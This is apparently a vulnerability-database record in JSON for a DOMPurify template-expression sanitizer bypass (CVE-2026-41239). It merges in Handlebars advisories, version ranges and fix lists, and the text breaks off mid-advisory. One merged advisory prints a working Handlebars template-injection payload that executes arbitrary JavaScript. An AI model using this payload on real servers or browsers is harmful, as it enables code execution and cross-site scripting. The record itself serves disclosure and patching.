{"id":"CVE-2026-41239","aliases":["CLSA-2026-1774743817","CLSA-2026-1774743830","CLSA-2026-1778546719","CLSA-2026-1778805976","CLSA-2026-1780274966","CLSA-2026-1780274972","CLSA-2026-1780361389","CLSA-2026-1786636600","CLSA-2026-1786636613","CLSA-2026-1786636721","CLSA-2026-1786731948","CLSA-2026-1787602198","CLSA-2026-1789152222","CLSA-2026-1789155659","CLSA-2026-1789155876","CLSA-2026-1792159369","CLSA-2026-1792161492","CLSA-2026-1792424339","CLSA-2026-1792424449","CLSA-2026-1792424891","CLSA-2026-1792486117","CLSA-2026-1792486837","CLSA-2026-1792495646","CLSA-2026-1792496766","CLSA-2026-1792496994","CLSA-2026-1792498640","CLSA-2026-1792593858","CLSA-2026-1792593965","CLSA-2026-1792594075","CLSA-2026-1792594185","CLSA-2026-1793287856","CLSA-2026-1793287970","CLSA-2026-1793288086","DEBIAN-CVE-2026-41239","EUVD-2026-25237","GHSA-2cf5-4w76-r9qv","GHSA-39q2-94rc-95cp","GHSA-55q2-fjhq-7xh7","GHSA-c2j3-45gr-mqc4","GHSA-cj63-jhhr-wcxv","GHSA-cjmm-f4jc-qw8r","GHSA-crv5-9vww-q3g8","GHSA-g9r4-xpmj-mj65","GHSA-h8r8-wccr-v5f2","GHSA-q2c6-c6pm-g3gh","GHSA-q42p-pg8m-cqh6","ROOT-APP-NPM-CVE-2026-41239","ROOT-APP-NPM-GHSA-2cf5-4w76-r9qv","ROOT-APP-NPM-GHSA-g9r4-xpmj-mj65","ROOT-APP-NPM-GHSA-q2c6-c6pm-g3gh","ROOT-APP-NPM-GHSA-q42p-pg8m-cqh6","UBUNTU-CVE-2026-41239"],"status":"published","title":"DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.","severity":{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00248,"percentile":0.1621,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1289","CWE-1321","CWE-471","CWE-79","CWE-94"],"published":"2019-06-05T14:07:48Z","modified":"2026-11-05T13:28:25Z","fixes":[{"ecosystem":"npm","package":"handlebars","fixed_in":["3.0.8","4.5.2","4.5.3","4.1.2","4.0.14","3.0.7"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"dompurify","fixed_in":["3.4.0"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:npm","package":"handlebars","fixed_in":["1.3.0-tuxcare.1","1.0.12-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"node-dompurify","fixed_in":["3.4.1+dfsg-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"dompurify","fixed_in":["2.5.8-aikido.3","2.5.9-aikido.1","3.2.4-aikido.1","2.5.8-aikido.1","2.5.9-aikido.2","3.2.4-aikido.2","2.5.9-aikido.3","3.2.4-aikido.3","2.5.8-aikido.2","2.5.9-aikido.4","3.2.4-aikido.4","2.5.9-aikido.5","3.2.4-aikido.5","3.4.0-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/dompurify","fixed_in":["2.5.8-root.io.3","2.5.9-root.io.1","3.2.4-root.io.1","2.5.8-root.io.1","2.5.9-root.io.2","3.2.4-root.io.2","2.5.9-root.io.3","3.2.4-root.io.3","2.5.8-root.io.2","2.5.9-root.io.4","3.2.4-root.io.4","2.5.9-root.io.5","3.2.4-root.io.5","3.4.0-root.io.1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"handlebars","fixed_in":["3.0.7-aikido.3","3.0.3-aikido.2","3.0.8-aikido.1","3.0.8-aikido.2","3.0.7-aikido.1","3.0.7-aikido.2"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/handlebars","fixed_in":["3.0.7-root.io.3","3.0.3-root.io.2","3.0.8-root.io.1","3.0.8-root.io.2","3.0.7-root.io.1","3.0.7-root.io.2"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.5.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.10"},{"fixed":"3.4.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.1.0"},{"fixed":"4.1.2"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.0.14"}]}]},{"source":"ghsa","ecosystem":"npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.3.0-tuxcare.0"},{"fixed":"1.3.0-tuxcare.1"}]}],"versions":["1.3.0"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.12-tuxcare.0"},{"fixed":"1.0.12-tuxcare.2"}]}],"versions":["1.0.12","1.0.12-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.6-tuxcare.0"},{"fixed":"3.1.6-tuxcare.3"}]}],"versions":["3.1.6","3.1.6-tuxcare.1","3.1.6-tuxcare.2"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.3-tuxcare.0"},{"fixed":"3.2.3-tuxcare.1"}]}],"versions":["3.2.3"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.3-tuxcare.0"},{"fixed":"3.0.3-tuxcare.1"}]}],"versions":["3.0.3"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0-tuxcare.0"},{"fixed":"2.4.0-tuxcare.1"}]}],"versions":["2.4.0"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.7-tuxcare.0"},{"fixed":"2.4.7-tuxcare.1"}]}],"versions":["2.4.7"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.7-tuxcare.0"},{"fixed":"3.2.7-tuxcare.1"}]}],"versions":["3.2.7"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0-tuxcare.0"},{"fixed":"2.3.0-tuxcare.5"}]}],"versions":["2.3.0","2.3.0-tuxcare.1","2.3.0-tuxcare.2","2.3.0-tuxcare.3","2.3.0-tuxcare.4"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.3-tuxcare.0"},{"fixed":"2.4.3-tuxcare.8"}]}],"versions":["2.4.3","2.4.3-tuxcare.1","2.4.3-tuxcare.2","2.4.3-tuxcare.3","2.4.3-tuxcare.4","2.4.3-tuxcare.5","2.4.3-tuxcare.6","2.4.3-tuxcare.7"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.5.8-tuxcare.0"},{"fixed":"2.5.8-tuxcare.7"}]}],"versions":["2.5.8","2.5.8-tuxcare.1","2.5.8-tuxcare.2","2.5.8-tuxcare.3","2.5.8-tuxcare.4","2.5.8-tuxcare.5","2.5.8-tuxcare.6"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.3-tuxcare.0"},{"fixed":"3.3.3-tuxcare.2"}]}],"versions":["3.3.3","3.3.3-tuxcare.1"],"bundled":5},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.6-tuxcare.0"},{"fixed":"3.2.6-tuxcare.2"}]}],"versions":["3.2.6","3.2.6-tuxcare.1"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.8-tuxcare.0"},{"fixed":"2.0.8-tuxcare.3"}]}],"versions":["2.0.8","2.0.8-tuxcare.1","2.0.8-tuxcare.2"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.3-tuxcare.0"},{"fixed":"2.3.3-tuxcare.3"}]}],"versions":["2.3.3","2.3.3-tuxcare.1","2.3.3-tuxcare.2"],"bundled":12},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.10-tuxcare.0"},{"fixed":"2.3.10-tuxcare.3"}]}],"versions":["2.3.10","2.3.10-tuxcare.1","2.3.10-tuxcare.2"],"bundled":13},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.1-tuxcare.0"},{"fixed":"3.0.1-tuxcare.3"}]}],"versions":["3.0.1","3.0.1-tuxcare.1","3.0.1-tuxcare.2"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.2-tuxcare.0"},{"fixed":"3.0.2-tuxcare.3"}]}],"versions":["3.0.2","3.0.2-tuxcare.1","3.0.2-tuxcare.2"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.8-tuxcare.0"},{"fixed":"3.0.8-tuxcare.3"}]}],"versions":["3.0.8","3.0.8-tuxcare.1","3.0.8-tuxcare.2"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.9-tuxcare.0"},{"fixed":"3.0.9-tuxcare.3"}]}],"versions":["3.0.9","3.0.9-tuxcare.1","3.0.9-tuxcare.2"],"bundled":9},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.11-tuxcare.0"},{"fixed":"3.0.11-tuxcare.3"}]}],"versions":["3.0.11","3.0.11-tuxcare.1","3.0.11-tuxcare.2"],"bundled":7},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.0-tuxcare.0"},{"fixed":"3.1.0-tuxcare.3"}]}],"versions":["3.1.0","3.1.0-tuxcare.1","3.1.0-tuxcare.2"],"bundled":6},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.3-tuxcare.0"},{"fixed":"3.1.3-tuxcare.3"}]}],"versions":["3.1.3","3.1.3-tuxcare.1","3.1.3-tuxcare.2"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.2-tuxcare.0"},{"fixed":"3.1.2-tuxcare.3"}]}],"versions":["3.1.2","3.1.2-tuxcare.1","3.1.2-tuxcare.2"],"bundled":10},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.1-tuxcare.0"},{"fixed":"3.1.1-tuxcare.3"}]}],"versions":["3.1.1","3.1.1-tuxcare.1","3.1.1-tuxcare.2"],"bundled":11},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.1.4-tuxcare.0"},{"fixed":"3.1.4-tuxcare.3"}]}],"versions":["3.1.4","3.1.4-tuxcare.1","3.1.4-tuxcare.2"],"bundled":8},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.6-tuxcare.0"},{"fixed":"3.0.6-tuxcare.8"}]}],"versions":["3.0.6","3.0.6-tuxcare.1","3.0.6-tuxcare.2","3.0.6-tuxcare.3","3.0.6-tuxcare.4","3.0.6-tuxcare.5","3.0.6-tuxcare.6","3.0.6-tuxcare.7"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.4-tuxcare.0"},{"fixed":"3.0.4-tuxcare.5"}]}],"versions":["3.0.4","3.0.4-tuxcare.1","3.0.4-tuxcare.2","3.0.4-tuxcare.3","3.0.4-tuxcare.4"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.5-tuxcare.0"},{"fixed":"3.0.5-tuxcare.5"}]}],"versions":["3.0.5","3.0.5-tuxcare.1","3.0.5-tuxcare.2","3.0.5-tuxcare.3","3.0.5-tuxcare.4"],"bundled":3},{"source":"osv","ecosystem":"Debian:12","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.1+dfsg+~2.4.0-1","2.4.1+dfsg+~2.4.0-2","2.4.1+dfsg+~2.4.0-2+deb12u1","3.0.9+dfsg+~3.0.5-1","3.1.6+dfsg+~3.0.5-1","3.1.7+dfsg+~3.0.5-1","3.1.7+dfsg+~3.0.5-2","3.2.5+dfsg-1","3.3.2+dfsg-1","3.3.3+dfsg-1","3.3.3+dfsg-2","3.4.1+dfsg-1","3.4.12+dfsg-1","3.4.13+dfsg-1","3.4.13+dfsg-2","3.4.16+dfsg-1","3.4.2+dfsg-1","3.4.5+dfsg-1"]},{"source":"osv","ecosystem":"Debian:13","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.7+dfsg+~3.0.5-2","3.2.5+dfsg-1","3.3.2+dfsg-1","3.3.3+dfsg-1","3.3.3+dfsg-2","3.4.1+dfsg-1","3.4.12+dfsg-1","3.4.13+dfsg-1","3.4.13+dfsg-2","3.4.16+dfsg-1","3.4.2+dfsg-1","3.4.5+dfsg-1"]},{"source":"osv","ecosystem":"Debian:14","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.1+dfsg-1"}]}],"versions":["3.1.7+dfsg+~3.0.5-2","3.2.5+dfsg-1","3.3.2+dfsg-1","3.3.3+dfsg-1","3.3.3+dfsg-2"]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.5.2"}]}]},{"source":"osv","ecosystem":"npm","package":"dompurify","ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.10"},{"fixed":"3.4.0"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.8"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.5.3"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.1.0"},{"fixed":"4.1.2"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"4.0.0"},{"fixed":"4.0.14"}]}]},{"source":"osv","ecosystem":"npm","package":"handlebars","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.7"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.8-aikido.3"},{"fixed":"2.5.9-aikido.1"},{"fixed":"3.2.4-aikido.1"},{"fixed":"2.5.8-aikido.1"},{"fixed":"2.5.9-aikido.2"},{"fixed":"3.2.4-aikido.2"},{"fixed":"2.5.9-aikido.3"},{"fixed":"3.2.4-aikido.3"},{"fixed":"2.5.8-aikido.2"},{"fixed":"2.5.9-aikido.4"},{"fixed":"3.2.4-aikido.4"},{"fixed":"2.5.9-aikido.5"},{"fixed":"3.2.4-aikido.5"},{"fixed":"3.4.0-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.5.8-root.io.3"},{"fixed":"2.5.9-root.io.1"},{"fixed":"3.2.4-root.io.1"},{"fixed":"2.5.8-root.io.1"},{"fixed":"2.5.9-root.io.2"},{"fixed":"3.2.4-root.io.2"},{"fixed":"2.5.9-root.io.3"},{"fixed":"3.2.4-root.io.3"},{"fixed":"2.5.8-root.io.2"},{"fixed":"2.5.9-root.io.4"},{"fixed":"3.2.4-root.io.4"},{"fixed":"2.5.9-root.io.5"},{"fixed":"3.2.4-root.io.5"},{"fixed":"3.4.0-root.io.1"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-aikido.3"},{"fixed":"3.0.3-aikido.2"},{"fixed":"3.0.8-aikido.1"},{"fixed":"3.0.8-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-root.io.3"},{"fixed":"3.0.3-root.io.2"},{"fixed":"3.0.8-root.io.1"},{"fixed":"3.0.8-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-aikido.3"},{"fixed":"3.0.3-aikido.2"},{"fixed":"3.0.8-aikido.1"},{"fixed":"3.0.8-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-root.io.3"},{"fixed":"3.0.3-root.io.2"},{"fixed":"3.0.8-root.io.1"},{"fixed":"3.0.8-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-aikido.3"},{"fixed":"3.0.3-aikido.2"},{"fixed":"3.0.8-aikido.1"},{"fixed":"3.0.8-aikido.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.7-root.io.3"},{"fixed":"3.0.3-root.io.2"},{"fixed":"3.0.8-root.io.1"},{"fixed":"3.0.8-root.io.2"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.3-aikido.2"},{"fixed":"3.0.7-aikido.1"},{"fixed":"3.0.7-aikido.2"},{"fixed":"3.0.7-aikido.3"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/handlebars","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.3-root.io.2"},{"fixed":"3.0.7-root.io.1"},{"fixed":"3.0.7-root.io.2"},{"fixed":"3.0.7-root.io.3"}]}]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.3.0+dfsg-2","2.3.3+dfsg-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.1+dfsg+~2.4.0-1","3.0.9+dfsg+~3.0.5-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.7+dfsg+~3.0.5-1","3.1.7+dfsg+~3.0.5-2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.3.3+dfsg-1","3.4.2+dfsg-1","3.4.5+dfsg-1","3.4.12+dfsg-1","3.4.13+dfsg-1","3.4.13+dfsg-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"node-dompurify","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.7+dfsg+~3.0.5-2","3.3.3+dfsg-1"]}],"products":[{"vendor":"cure53","product":"dompurify"}],"references":[{"url":"https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8","tags":["x_refsource_CONFIRM","advisory","web","report"]},{"url":"https://github.com/cure53/DOMPurify/releases/tag/3.4.0","tags":["x_refsource_MISC","web"]},{"url":"https://www.npmjs.com/advisories/1316","tags":["web"]},{"url":"https://github.com/advisories/GHSA-2cf5-4w76-r9qv"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41239","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-crv5-9vww-q3g8"},{"url":"https://www.npmjs.com/advisories/1325","tags":["web"]},{"url":"https://github.com/advisories/GHSA-g9r4-xpmj-mj65"},{"url":"https://www.npmjs.com/advisories/1324","tags":["web"]},{"url":"https://github.com/advisories/GHSA-q2c6-c6pm-g3gh"},{"url":"https://github.com/handlebars-lang/handlebars.js/issues/1495","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/7372d4e9dffc9d70c09671aa28b9392a1577fd86","tags":["web"]},{"url":"https://snyk.io/vuln/SNYK-JS-HANDLEBARS-173692","tags":["web"]},{"url":"https://www.npmjs.com/advisories/755","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/0d6d8c335ad81bad1b672fc56b6a44f6aa472dac","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/85c8783b34fc6d36145d8b53885ad0b9e3c3f9c4","tags":["web"]},{"url":"https://github.com/handlebars-lang/handlebars.js/commit/cd38583216dce3252831916323202749431c773e","tags":["web"]},{"url":"https://github.com/advisories/GHSA-q42p-pg8m-cqh6"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/41xxx/CVE-2026-41239.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-41239","tags":["advisory"]},{"url":"https://github.com/cure53/DOMPurify","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2026-41239","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-41239","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-41239","title":"DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.","status":"published","published":"2026-04-23T14:47:56.129Z","modified":"2026-04-25T01:21:43.094Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79","CWE-1289"],"updated_at":"2026-11-02T13:41:08.498858Z"}],"euvd":[{"id":"EUVD-2026-25237","description":"DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Starting in version 1.0.10 and prior to version 3.4.0, `SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2. Version 3.4.0 patches the issue.","status":"published","published":"2026-04-23T14:47:56Z","modified":"2026-04-25T01:21:43Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T19:24:18.224827Z"}],"ghsa":[{"id":"GHSA-2cf5-4w76-r9qv","title":"Arbitrary Code Execution in handlebars","description":"Versions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package's lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim's browser (effectively serving as Cross-Site Scripting).\n\nThe following template can be used to demonstrate the vulnerability:  \n```{{#with \"constructor\"}}\n\t{{#with split as |a|}}\n\t\t{{pop (push \"alert('Vulnerable Handlebars JS');\")}}\n\t\t{{#with (concat (lookup join (slice 0 1)))}}\n\t\t\t{{#each (slice 2 3)}}\n\t\t\t\t{{#with (apply 0 a)}}\n\t\t\t\t\t{{.}}\n\t\t\t\t{{/with}}\n\t\t\t{{/each}}\n\t\t{{/with}}\n\t{{/with}}\n{{/with}}```\n\n\n## Recommendation\n\nUpgrade to version 3.0.8, 4.5.2 or later.","status":"published","published":"2020-09-04T14:57:38Z","modified":"2024-02-07T05:08:28Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:L","level":"high"}],"cwes":["CWE-94"],"updated_at":"2026-11-02T14:37:36.076201Z"},{"id":"GHSA-crv5-9vww-q3g8","title":"DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode","description":"## Summary\n\n| Field | Value |\n|:------|:------|\n| **Severity** | Medium |\n| **Affected** | DOMPurify `main` at [`883ac15`](https://github.com/cure53/DOMPurify/tree/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6), introduced in v1.0.10 ([`7fc196db`](https://github.com/cure53/DOMPurify/commit/7fc196db0b42a0c360262dba0cc39c9c91bfe1ec)) |\n\n`SAFE_FOR_TEMPLATES` strips `{{...}}` expressions from untrusted HTML. This works in string mode but not with `RETURN_DOM` or `RETURN_DOM_FRAGMENT`, allowing XSS via template-evaluating frameworks like Vue 2.\n\n## Technical Details\n\nDOMPurify strips template expressions in two passes:\n\n1. **Per-node** — each text node is checked during the tree walk ([`purify.ts:1179-1191`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1179-L1191)):\n\n```js\n// pass #1: runs on every text node during tree walk\nif (SAFE_FOR_TEMPLATES \u0026\u0026 currentNode.nodeType === NODE_TYPE.text) {\n  content = currentNode.textContent;\n  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -\u003e ' '\n  content = content.replace(ERB_EXPR, ' ');        // \u003c%...%\u003e -\u003e ' '\n  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -\u003e ' '\n  currentNode.textContent = content;\n}\n```\n\n2. **Final string scrub** — after serialization, the full HTML string is scrubbed again ([`purify.ts:1679-1683`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1679-L1683)). This is the safety net that catches expressions that only form after the DOM settles.\n\nThe `RETURN_DOM` path returns before pass #2 ever runs ([`purify.ts:1637-1661`](https://github.com/cure53/DOMPurify/blob/883ac15d47f907cb1a3b5a152fe90c4d8c10f9e6/src/purify.ts#L1637-L1661)):\n\n```js\n// purify.ts (simplified)\n\nif (RETURN_DOM) {\n  // ... build returnNode ...\n  return returnNode;        // 